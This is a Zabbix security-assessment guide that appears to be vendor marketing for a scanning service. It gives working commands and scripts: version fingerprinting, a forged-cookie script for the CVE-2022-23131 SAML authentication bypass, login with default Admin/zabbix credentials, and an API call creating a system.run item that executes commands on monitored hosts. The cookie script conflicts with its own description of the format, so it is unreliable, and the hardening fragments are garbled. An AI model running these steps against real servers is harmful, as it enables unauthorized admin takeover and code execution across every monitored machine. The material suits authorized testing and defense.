Zabbix is one of the most widely deployed open-source monitoring platforms, running on millions of servers. Its security record includes multiple critical CVEs: CVE-2022-23131 (CVSS 9.8) allowed SAML authentication bypass granting admin access to Zabbix 5.4.x without credentials; CVE-2022-23134 allowed unauthenticated access to the Zabbix setup wizard; historical SQL injection vulnerabilities in the Zabbix API (CVE-2016-10134) enabled unauthenticated database access; Zabbix ships with default credentials (Admin/zabbix) that persist in many production deployments; and Zabbix's agent UserParameter configuration allows the Zabbix server to run arbitrary commands on monitored hosts — an attacker who compromises the Zabbix server gains code execution on every monitored system. This guide covers systematic Zabbix security assessment.
# Zabbix web frontend: port 80/443 (Apache/Nginx hosting PHP app)
# Zabbix server: port 10051 (server trap port)
# Zabbix agent: port 10050 (agent listening for server queries)
# Fingerprint Zabbix version from login page source
curl -s http://zabbix.example.com/zabbix/ 2>/dev/null | \
grep -oE 'zabbix[_-][0-9]+\.[0-9]+' | head -3
# Also try:
curl -s http://zabbix.example.com/zabbix/css/sass/partials/_variables.scss 2>/dev/null | \
grep -i "version" | head -3
# Check Zabbix API version (no auth required)
curl -s -X POST http://zabbix.example.com/zabbix/api_jsonrpc.php \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"apiinfo.version","id":1,"auth":null,"params":{}}' 2>/dev/null | \
python3 -m json.tool
# Returns: {"jsonrpc":"2.0","result":"6.x.x","id":1}
# CVE-2022-23131: Zabbix 5.4.0-5.4.8 SAML SSO authentication bypass
# When SAML SSO is configured, the zbx_session cookie is not properly validated
# An attacker can craft a forged cookie to authenticate as any user including Admin
# Check if SAML SSO is enabled (look for SSO button on login page)
curl -s http://zabbix.example.com/zabbix/index.php 2>/dev/null | \
grep -i "saml\|sso\|Sign in with" | head -5
# Exploit: create a forged zbx_session cookie with saml_data array
# The cookie value is a base64+URL-encoded PHP-serialized array
python3 - << 'PYEOF'
import json, base64, urllib.parse
# Craft the forged session claiming to be Admin user
# Zabbix 5.4.x does not verify the SAML assertion signature in the session
forged_data = {
"saml_data": {
"username_attribute": "Admin"
}
}
# Encode as JSON, then base64url
encoded = base64.b64encode(json.dumps(forged_data).encode()).decode()
print(f"Forged cookie value: {encoded}")
print(f"Set-Cookie: zbx_session={urllib.parse.quote(encoded)}")
print("Then access: http://zabbix.example.com/zabbix/index.php")
PYEOF
# Zabbix agents can be configured with UserParameters that execute shell commands
# An attacker with Zabbix admin access can add a UserParameter item to a monitored host
# When Zabbix server polls this item, it executes the command on the monitored host
# Via Zabbix API (with admin credentials or CVE bypass): create a custom item
AUTH_TOKEN=$(curl -s -X POST http://zabbix.example.com/zabbix/api_jsonrpc.php \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"user.login","id":1,"auth":null,
"params":{"user":"Admin","password":"zabbix"}}' 2>/dev/null | \
python3 -c "import json,sys; print(json.load(sys.stdin).get('result',''))" 2>/dev/null)
# Get host ID
HOST_ID=$(curl -s -X POST http://zabbix.example.com/zabbix/api_jsonrpc.php \
-H "Content-Type: application/json" \
-d "{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"id\":1,\"auth\":\"${AUTH_TOKEN}\",
\"params\":{\"limit\":1,\"output\":[\"hostid\",\"host\"]}}" 2>/dev/null | \
python3 -c "import json,sys; hosts=json.load(sys.stdin).get('result',[]); print(hosts[0]['hostid'] if hosts else '')" 2>/dev/null)
# Create a remote command item — executes on the agent host when polled
curl -s -X POST http://zabbix.example.com/zabbix/api_jsonrpc.php \
-H "Content-Type: application/json" \
-d "{\"jsonrpc\":\"2.0\",\"method\":\"item.create\",\"id\":1,\"auth\":\"${AUTH_TOKEN}\",
\"params\":{
\"name\":\"RCE Test\",
\"key_\": \"system.run[\\\"id > /tmp/zabbix_rce.txt\\\",\\\"wait\\\"]\",
\"hostid\":\"${HOST_ID}\",
\"type\":0,\"value_type\":4,\"delay\":\"30s\"
}}" 2>/dev/null | python3 -m json.tool | head -5
EnableRemoteCommands=0 in zabbix_agentd.conf$ZABBIX_AllowedIPs to restrict which IPs can access the web UI| Security Test | Method | Risk |
|---|---|---|
| CVE-2022-23131 SAML auth bypass (Zabbix 5.4.x) | Craft forged zbx_session cookie with Admin username — bypass authentication entirely | Critical |
| Default Admin/zabbix credentials | POST api_jsonrpc.php user.login with Admin/zabbix — check result for auth token | Critical |
| Agent system.run command injection | Create item with key system.run["cmd","wait"] — executes on monitored host OS | Critical |
| Zabbix API SQL injection (historical CVEs) | Test user.get with crafted params — historical SQLi in API parameters | High |
| Zabbix server port 10051 accessible externally | Connect to :10051 — accepts trap data from any source without authentication | Medium |
| Agent port 10050 accessible from non-server IPs | Connect to agent :10050 from unauthorized IP — run agent.version, system.run[id] | Medium |
Ironimo tests Zabbix deployments for CVE-2022-23131 SAML authentication bypass granting admin access without credentials, default Admin/zabbix credential exposure, agent UserParameter command injection on all monitored hosts, Zabbix API SQL injection on unpatched versions, server trap port 10051 accessible from untrusted networks, and agent port 10050 responding to queries from unauthorized source IPs.
Start free scan